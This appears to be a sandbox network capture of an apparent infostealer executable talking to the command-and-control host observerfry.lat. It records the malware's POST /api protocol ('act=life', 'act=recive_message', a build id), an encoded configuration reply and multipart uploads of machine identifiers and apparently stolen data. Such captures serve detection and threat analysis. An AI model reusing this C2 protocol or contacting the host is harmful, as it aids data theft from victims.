Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:03:51 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-23 07:03:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:03:52 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5vlds6ujlav2mvdjeh5a1lnja5; expires=Fri, 18 Apr 2025 00:50:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q2WFTMjsB%2FAYVkTf1tT6FgwUHPHbKtndrUq4GP9nm%2BjSIqdnSSCMSMMQ6XyhSFVgacduW2pod%2BeKtz8ypKgAMz7WYeL46nPcT9qjNUtni0I6SiPZhIamSNZA551e2StQkNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667e853d0e5e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1731&rtt_var=671&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1605277&cwnd=182&unsent_bytes=0&cid=41959ffa65528812&ts=961&x=0"
2024-12-23 07:03:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:03:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:03:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-23 07:03:53 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:03:54 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uckdckeho97qnge45dmbd9pvma; expires=Fri, 18 Apr 2025 00:50:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XUIart%2FekZwBbw7Llq395oG%2B9HBnfHKrQG9%2FiDtyZJmPpeqUbIp7ThqYir%2BtWlj%2FnvAtYnUzBqGZrAaJ2Uz7HZQxLMfwN9sgLdamZe%2FGIyeFUoFgR1SX8HgQ2ygLfQ4%2FSS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667e924d54c34a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1473&rtt_var=553&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1982348&cwnd=155&unsent_bytes=0&cid=41944ea77005f251&ts=776&x=0"
2024-12-23 07:03:54 UTC	238	IN	Data Raw: 34 39 31 63 0d 0a 39 55 5a 69 75 74 75 72 4f 64 76 35 58 69 65 4f 6d 36 50 71 6c 77 34 52 34 78 2b 6a 71 52 64 68 77 67 72 42 4d 64 6d 75 31 51 32 4f 5a 42 53 59 34 5a 38 56 2b 59 6f 37 42 62 54 76 30 5a 2f 79 49 6a 4f 43 65 34 47 54 63 51 43 75 65 61 51 64 2b 39 69 34 4c 38 38 67 41 39 61 6f 7a 68 58 35 6e 43 59 46 74 4d 44 59 79 50 4a 67 4d 39 6b 39 78 73 4e 31 41 4b 35 6f 6f 46 71 32 33 72 6c 75 6e 53 6f 46 30 72 37 49 58 62 71 56 4d 30 4c 72 2f 73 4b 41 2b 57 64 38 69 33 4b 42 68 54 55 45 75 43 6a 37 45 35 54 4c 6f 57 79 34 4a 78 48 52 2b 64 59 56 6f 4e 73 37 53 61 79 68 67 59 76 79 62 48 32 46 65 38 6a 42 66 77 6d 6d 61 61 56 62 71 63 65 7a 5a 5a 30 6b 42 74 4f 30 77 55 6d 33 6e 7a 52 4a 37 66 54 43 Data Ascii: 491c9UZiuturOdv5XieOm6Pqlw4R4x+jqRdhwgrBMdmu1Q2OZBSY4Z8V+Yo7BbTv0Z/yIjOCe4GTcQCueaQd+9i4L88gA9aozhX5nCYFtMDYyPJgM9k9xsN1AK5ooFq23rlunSoF0r7IXbqVM0Lr/sKA+Wd8i3KBhTUEuCj7E5TLoWy4JxHR+dYVoNs7SayhgYvybH2Fe8jBfwmmaaVbqcezZZ0kBtO0wUm3nzRJ7fTC
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 79 4c 73 73 64 4a 6b 39 6d 59 73 6d 4d 61 4e 35 73 6b 61 32 33 4c 45 76 69 47 6f 5a 6d 4c 37 46 47 2b 48 62 4e 45 6e 69 2f 4d 4b 48 38 6d 31 7a 6b 33 4c 42 79 48 30 4c 70 47 4b 73 58 4c 54 43 76 57 69 66 4c 51 66 58 76 73 46 64 74 70 68 38 43 36 7a 2b 32 63 69 74 4c 46 4f 52 66 73 4c 66 65 42 4c 67 64 2b 31 4b 2b 38 75 37 4c 38 39 6b 42 74 61 34 78 46 75 72 6b 7a 64 4f 36 65 76 4b 67 66 68 68 63 34 78 33 7a 73 68 31 42 4b 70 69 72 46 6d 2f 77 62 70 70 6c 79 52 41 6c 76 6e 4f 51 2f 6e 44 66 47 62 70 36 63 61 45 34 79 35 4a 77 57 4b 50 30 6a 55 45 72 43 6a 37 45 37 50 4a 74 47 79 63 4b 77 50 51 73 74 74 62 71 35 30 78 51 50 37 2f 78 49 62 2f 62 32 47 4c 63 38 66 49 66 41 69 70 62 61 52 58 2b 34 4c 33 61 49 39 6b 57 4a 69 59 78 46 43 31 6b 53 74 46 72 4f 61 Data Ascii: yLssdJk9mYsmMaN5ska23LEviGoZmL7FG+HbNEni/MKH8m1zk3LByH0LpGKsXLTCvWifLQfXvsFdtph8C6z+2citLFORfsLfeBLgd+1K+8u7L89kBta4xFurkzdO6evKgfhhc4x3zsh1BKpirFm/wbpplyRAlvnOQ/nDfGbp6caE4y5JwWKP0jUErCj7E7PJtGycKwPQsttbq50xQP7/xIb/b2GLc8fIfAipbaRX+4L3aI9kWJiYxFC1kStFrOa
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 47 47 4e 64 38 66 45 65 41 2f 67 4a 75 4e 55 6f 34 7a 76 4c 37 30 6e 46 4e 75 7a 69 32 36 36 6c 54 4a 43 2b 72 6e 65 78 75 77 73 64 49 30 39 6d 59 74 34 41 71 68 75 73 56 79 32 7a 37 6c 68 6d 43 45 50 30 4c 6e 4a 56 72 79 66 4e 30 37 76 39 4d 57 61 2f 32 78 37 68 48 7a 4c 77 54 56 4e 34 47 2b 37 45 2b 4f 4d 68 6e 69 63 5a 6a 58 62 74 38 64 63 72 39 73 6a 43 2f 57 35 78 6f 53 31 4e 44 4f 4d 64 63 54 4f 65 67 4b 71 5a 71 5a 5a 74 38 53 35 62 49 55 72 42 4e 69 31 77 56 47 30 6c 54 68 4e 35 66 4c 4b 6a 76 56 74 65 63 45 7a 67 63 78 74 51 2f 67 6f 6c 31 53 33 77 62 67 74 6f 69 63 4f 31 72 37 66 47 36 62 56 4a 51 58 72 39 59 48 51 74 57 42 36 67 58 62 4c 7a 33 55 45 72 57 32 67 56 4c 6a 42 73 47 57 5a 49 77 54 55 73 4d 52 64 75 5a 77 34 51 50 37 38 79 49 54 35 Data Ascii: GGNd8fEeA/gJuNUo4zvL70nFNuzi266lTJC+rnexuwsdI09mYt4AqhusVy2z7lhmCEP0LnJVryfN07v9MWa/2x7hHzLwTVN4G+7E+OMhnicZjXbt8dcr9sjC/W5xoS1NDOMdcTOegKqZqZZt8S5bIUrBNi1wVG0lThN5fLKjvVtecEzgcxtQ/gol1S3wbgtoicO1r7fG6bVJQXr9YHQtWB6gXbLz3UErW2gVLjBsGWZIwTUsMRduZw4QP78yIT5
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 75 42 31 44 73 61 34 47 2b 76 45 2b 4f 4d 76 6d 61 46 4b 67 37 52 74 4d 39 54 76 70 55 78 54 75 72 79 78 6f 2f 7a 59 58 75 4d 65 4d 4c 4b 63 51 6d 79 61 36 68 5a 74 73 62 33 49 64 63 6a 47 4a 6a 68 69 58 79 31 73 69 78 65 2f 75 2b 42 6c 37 74 31 4d 34 5a 78 67 5a 4d 31 41 4b 39 68 72 46 75 7a 77 37 68 72 6d 53 49 47 31 62 7a 47 55 61 75 54 4d 6b 6a 6e 39 73 71 61 39 57 46 33 6a 58 6e 4a 77 48 39 44 37 69 69 6b 53 2f 75 55 39 31 71 61 4b 77 44 62 72 34 6c 45 39 34 4a 38 51 75 43 35 6d 63 6a 35 59 6e 4f 4f 63 63 33 41 66 51 4b 73 5a 71 52 57 73 73 53 2f 66 5a 59 67 43 4e 6d 33 78 6c 71 39 6e 6a 6c 42 36 2f 33 48 68 37 55 69 4d 34 5a 6c 67 5a 4d 31 4c 49 64 64 34 58 4b 42 6a 4b 67 68 6a 6d 51 48 31 50 6d 52 47 37 57 59 4d 45 33 6a 2f 38 69 45 2f 32 56 34 6a Data Ascii: uB1Dsa4G+vE+OMvmaFKg7RtM9TvpUxTuryxo/zYXuMeMLKcQmya6hZtsb3IdcjGJjhiXy1sixe/u+Bl7t1M4ZxgZM1AK9hrFuzw7hrmSIG1bzGUauTMkjn9sqa9WF3jXnJwH9D7iikS/uU91qaKwDbr4lE94J8QuC5mcj5YnOOcc3AfQKsZqRWssS/fZYgCNm3xlq9njlB6/3Hh7UiM4ZlgZM1LIdd4XKBjKghjmQH1PmRG7WYME3j/8iE/2V4j
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 32 42 36 56 6e 6f 6c 4b 39 33 72 42 6d 68 53 6f 4e 31 37 48 42 55 72 69 66 4f 55 6a 71 39 63 75 4a 38 6d 4a 39 69 54 32 50 69 33 49 62 34 44 44 6a 63 71 76 58 70 58 6d 61 42 51 33 58 2b 64 59 56 6f 4e 73 37 53 61 79 68 67 59 48 6e 61 48 36 54 64 4d 62 46 65 67 43 79 61 61 35 59 71 63 75 34 61 35 41 6f 42 74 65 2f 79 46 36 7a 6c 7a 74 41 35 2f 62 4e 79 4c 73 73 64 4a 6b 39 6d 59 74 62 43 4c 4e 2f 6f 46 32 77 32 71 77 76 69 47 6f 5a 6d 4c 37 46 47 2b 48 62 50 30 37 6e 2f 63 47 45 39 57 68 2b 67 57 2f 4f 7a 48 49 4b 71 33 71 70 56 4c 7a 48 76 32 53 59 49 68 4c 55 74 39 74 65 71 34 6c 38 43 36 7a 2b 32 63 69 74 4c 45 57 47 62 64 48 49 4e 7a 4b 32 61 37 56 59 74 73 44 33 63 4e 6b 39 51 4e 2b 31 69 51 50 35 6e 54 4e 4d 37 2f 62 41 67 66 6c 68 64 6f 68 34 77 4d Data Ascii: 2B6VnolK93rBmhSoN17HBUrifOUjq9cuJ8mJ9iT2Pi3Ib4DDjcqvXpXmaBQ3X+dYVoNs7SayhgYHnaH6TdMbFegCyaa5Yqcu4a5AoBte/yF6zlztA5/bNyLssdJk9mYtbCLN/oF2w2qwviGoZmL7FG+HbP07n/cGE9Wh+gW/OzHIKq3qpVLzHv2SYIhLUt9teq4l8C6z+2citLEWGbdHINzK2a7VYtsD3cNk9QN+1iQP5nTNM7/bAgflhdoh4wM
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 57 71 42 49 2b 39 50 35 64 74 63 6a 44 4a 6a 68 69 56 69 2b 6d 44 31 50 35 66 58 4f 6a 2f 46 2b 65 59 5a 76 77 4d 70 2b 44 71 78 6f 72 6c 36 78 7a 62 35 69 6d 79 6b 48 33 37 62 4d 47 2f 66 62 4f 31 32 73 6f 59 47 70 2b 47 64 2f 32 69 65 42 31 44 73 61 34 47 2b 76 45 2b 4f 4d 74 32 57 53 4c 67 33 62 74 73 70 4a 75 4a 30 75 52 65 48 7a 30 34 4c 2b 61 58 36 4d 63 4d 4c 4e 63 77 69 73 65 71 70 54 75 4d 66 33 49 64 63 6a 47 4a 6a 68 69 58 69 75 6a 54 5a 43 34 4f 2f 4b 69 66 5a 36 66 70 45 39 6a 34 74 6b 42 4c 45 6f 2b 30 57 72 32 37 42 77 32 54 31 41 33 37 57 4a 41 2f 6d 64 4e 55 50 72 2f 38 2b 61 38 47 70 38 6a 6e 54 49 7a 33 30 41 6f 47 79 6e 56 4c 37 50 75 32 53 51 4a 77 2f 63 73 4d 64 53 74 74 74 79 42 65 76 68 67 64 43 31 54 57 69 43 63 63 79 4c 61 6b 32 Data Ascii: WqBI+9P5dtcjDJjhiVi+mD1P5fXOj/F+eYZvwMp+Dqxorl6xzb5imykH37bMG/fbO12soYGp+Gd/2ieB1Dsa4G+vE+OMt2WSLg3btspJuJ0uReHz04L+aX6McMLNcwiseqpTuMf3IdcjGJjhiXiujTZC4O/KifZ6fpE9j4tkBLEo+0Wr27Bw2T1A37WJA/mdNUPr/8+a8Gp8jnTIz30AoGynVL7Pu2SQJw/csMdStttyBevhgdC1TWiCccyLak2
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 66 76 4c 72 79 2f 50 5a 43 44 54 72 38 78 63 72 39 6b 4a 52 75 4c 33 78 70 36 31 63 30 7a 50 50 63 37 52 4e 56 75 5a 63 65 4e 55 74 34 7a 76 4c 34 49 6a 41 4e 2b 6a 33 31 79 31 69 6a 64 49 34 4e 76 4f 6a 2b 4e 76 66 49 4a 73 79 49 64 2b 44 75 41 6d 34 31 53 6a 6a 4f 38 76 75 43 4d 57 32 35 62 4b 53 72 44 62 63 67 58 72 37 34 48 51 74 56 49 7a 6b 33 37 52 79 48 6f 53 6e 69 6a 37 53 6f 57 4d 76 48 6d 51 4e 41 50 4f 73 73 52 58 71 4b 56 38 48 62 69 72 6b 39 71 6e 50 6d 7a 42 59 76 36 46 4e 51 4c 67 4d 4a 70 4b 2b 39 72 33 4e 38 56 71 51 4d 72 35 6b 52 76 2b 6d 43 35 58 36 76 72 58 69 37 4a 53 54 61 5a 72 79 38 78 6c 42 4c 64 6e 34 78 33 37 77 2f 63 33 72 6d 51 4a 33 36 4c 59 54 62 53 4c 4f 77 58 54 74 34 47 51 74 54 51 7a 74 48 37 50 78 58 49 56 73 53 57 45 Data Ascii: fvLry/PZCDTr8xcr9kJRuL3xp61c0zPPc7RNVuZceNUt4zvL4IjAN+j31y1ijdI4NvOj+NvfIJsyId+DuAm41SjjO8vuCMW25bKSrDbcgXr74HQtVIzk37RyHoSnij7SoWMvHmQNAPOssRXqKV8Hbirk9qnPmzBYv6FNQLgMJpK+9r3N8VqQMr5kRv+mC5X6vrXi7JSTaZry8xlBLdn4x37w/c3rmQJ36LYTbSLOwXTt4GQtTQztH7PxXIVsSWE
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 42 52 71 53 55 4e 31 2f 58 48 55 4c 6d 63 4c 46 50 33 74 63 6d 4c 37 33 5a 4e 76 31 62 4e 7a 58 49 5a 70 32 36 46 63 2f 75 43 39 32 44 58 66 44 6d 59 38 59 6c 6b 39 39 73 6b 42 62 53 35 39 49 76 37 59 6e 53 58 62 49 7a 6a 56 6a 6d 61 4b 6f 39 55 72 6f 36 44 61 49 63 31 43 39 57 31 69 52 58 35 6e 58 77 64 76 4c 65 42 6a 4f 51 73 4b 39 45 76 6d 70 34 6d 56 50 41 36 76 42 32 69 6a 4b 45 76 7a 33 5a 4f 6d 4b 75 4a 41 2f 6e 63 50 31 66 2b 2f 38 4b 65 39 69 74 4e 76 31 72 50 7a 48 51 56 73 48 2b 73 62 59 58 5a 74 47 47 5a 49 78 62 4a 2b 59 63 62 74 74 74 6b 66 4b 79 78 67 62 65 37 4c 47 76 42 4a 59 48 2b 64 67 32 75 62 37 56 43 39 75 75 35 61 4a 59 79 45 4d 2b 32 69 52 58 35 6e 58 77 64 76 72 65 42 6a 4f 51 73 4b 39 45 76 6d 70 34 6d 56 50 41 36 76 42 32 69 6a Data Ascii: BRqSUN1/XHULmcLFP3tcmL73ZNv1bNzXIZp26Fc/uC92DXfDmY8Ylk99skBbS59Iv7YnSXbIzjVjmaKo9Uro6DaIc1C9W1iRX5nXwdvLeBjOQsK9Evmp4mVPA6vB2ijKEvz3ZOmKuJA/ncP1f+/8Ke9itNv1rPzHQVsH+sbYXZtGGZIxbJ+YcbtttkfKyxgbe7LGvBJYH+dg2ub7VC9uu5aJYyEM+2iRX5nXwdvreBjOQsK9Evmp4mVPA6vB2ij
2024-12-23 07:03:54 UTC	1369	IN	Data Raw: 75 45 4e 57 32 7a 68 6d 5a 6e 43 70 47 72 4c 65 42 68 4c 55 30 4d 34 42 33 30 63 5a 36 42 4f 78 76 75 56 54 37 67 76 64 68 31 33 78 41 32 62 50 5a 56 72 61 63 63 45 50 69 39 34 47 58 75 33 55 7a 6c 7a 32 5a 6d 44 74 44 73 69 6a 37 45 2f 7a 50 70 58 32 52 4a 78 62 62 2f 76 64 6c 6c 49 6b 37 56 65 2b 37 38 49 58 78 65 6d 61 43 62 63 62 31 53 79 36 79 62 37 4e 51 2b 66 32 68 62 4a 63 71 42 35 6a 33 69 55 50 35 77 33 78 6f 2f 76 37 52 69 37 55 69 4d 34 30 39 6d 59 74 34 45 61 64 34 6f 42 2b 38 31 72 41 76 69 47 6f 5a 6d 4b 2b 4a 41 2b 72 56 66 46 65 73 6f 59 48 50 2b 32 46 79 67 6e 50 43 32 57 63 46 6f 33 36 67 46 49 58 79 6d 6e 32 51 4e 41 4f 61 69 4d 52 66 72 34 34 2f 56 65 76 48 2f 36 58 6e 61 32 4f 43 50 2b 33 4d 65 41 2b 65 56 70 52 43 76 4e 7a 31 53 5a Data Ascii: uENW2zhmZnCpGrLeBhLU0M4B30cZ6BOxvuVT7gvdh13xA2bPZVraccEPi94GXu3Uzlz2ZmDtDsij7E/zPpX2RJxbb/vdllIk7Ve+78IXxemaCbcb1Sy6yb7NQ+f2hbJcqB5j3iUP5w3xo/v7Ri7UiM409mYt4Ead4oB+81rAviGoZmK+JA+rVfFesoYHP+2FygnPC2WcFo36gFIXymn2QNAOaiMRfr44/VevH/6Xna2OCP+3MeA+eVpRCvNz1SZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:03:56 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X59YH04I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12786 Host: observerfry.lat
2024-12-23 07:03:56 UTC	12786	OUT	Data Raw: 2d 2d 58 35 39 59 48 30 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 35 39 59 48 30 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 35 39 59 48 30 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 58 35 39 59 48 30 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --X59YH04IContent-Disposition: form-data; name="hwid"BB3B1B2205B47667AC8923850305D13E--X59YH04IContent-Disposition: form-data; name="pid"2--X59YH04IContent-Disposition: form-data; name="lid"PsFKDg--pablo--X59YH04IContent-Disposit
2024-12-23 07:03:57 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fk1u23vq1op9sh70ivaspicv0i; expires=Fri, 18 Apr 2025 00:50:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=87bGOKw7V%2F4anx9aiHUEuYb2QtO63cnHnV%2Fi7vpFcZ10uD3bAx5CZVKfRCjP1kv%2BOz940kl0pMvvAEuw86mc1kY7jElXLP5c9pLhjPeLveoY6JQkxJV9PWE6xdzbcbX6kzc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667ea17fff8c29-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1841&min_rtt=1808&rtt_var=701&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13715&delivery_rate=1615044&cwnd=188&unsent_bytes=0&cid=3654ac2e82bd88e3&ts=934&x=0"
2024-12-23 07:03:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:03:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:03:58 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UME6PWQN4XCAUHU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15057 Host: observerfry.lat
2024-12-23 07:03:58 UTC	15057	OUT	Data Raw: 2d 2d 55 4d 45 36 50 57 51 4e 34 58 43 41 55 48 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 4d 45 36 50 57 51 4e 34 58 43 41 55 48 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 4d 45 36 50 57 51 4e 34 58 43 41 55 48 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 4d 45 36 50 Data Ascii: --UME6PWQN4XCAUHUContent-Disposition: form-data; name="hwid"BB3B1B2205B47667AC8923850305D13E--UME6PWQN4XCAUHUContent-Disposition: form-data; name="pid"2--UME6PWQN4XCAUHUContent-Disposition: form-data; name="lid"PsFKDg--pablo--UME6P
2024-12-23 07:03:59 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1qrr6ubl96vif70kkvtef4mjik; expires=Fri, 18 Apr 2025 00:50:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X8QuWTGXEykZ2wQvZQGjDj3WkhyLwxb7M9Xk2lYXGQtgp5SU%2B0ESztZwusZrxEQlELlbsvs7C8L99RXYpN8RGbTuT9qU8nsUGdh1e1RzEvmYvB3HeIfESeGgw3Hk86raSog%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f667eaf9ffac33f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1504&min_rtt=1502&rtt_var=568&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15993&delivery_rate=1916010&cwnd=235&unsent_bytes=0&cid=03f64856bc3c170c&ts=899&x=0"
2024-12-23 07:03:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:03:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	172.67.199.72	443	7580	C:\Users\user\Desktop\NE4jxHLxXJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:04:00 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VI7O0GFR4H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20194 Host: observerfry.lat
2024-12-23 07:04:00 UTC	15331	OUT	Data Raw: 2d 2d 56 49 37 4f 30 47 46 52 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 33 42 31 42 32 32 30 35 42 34 37 36 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 49 37 4f 30 47 46 52 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 49 37 4f 30 47 46 52 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 49 37 4f 30 47 46 52 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --VI7O0GFR4HContent-Disposition: form-data; name="hwid"BB3B1B2205B47667AC8923850305D13E--VI7O0GFR4HContent-Disposition: form-data; name="pid"3--VI7O0GFR4HContent-Disposition: form-data; name="lid"PsFKDg--pablo--VI7O0GFR4HContent-
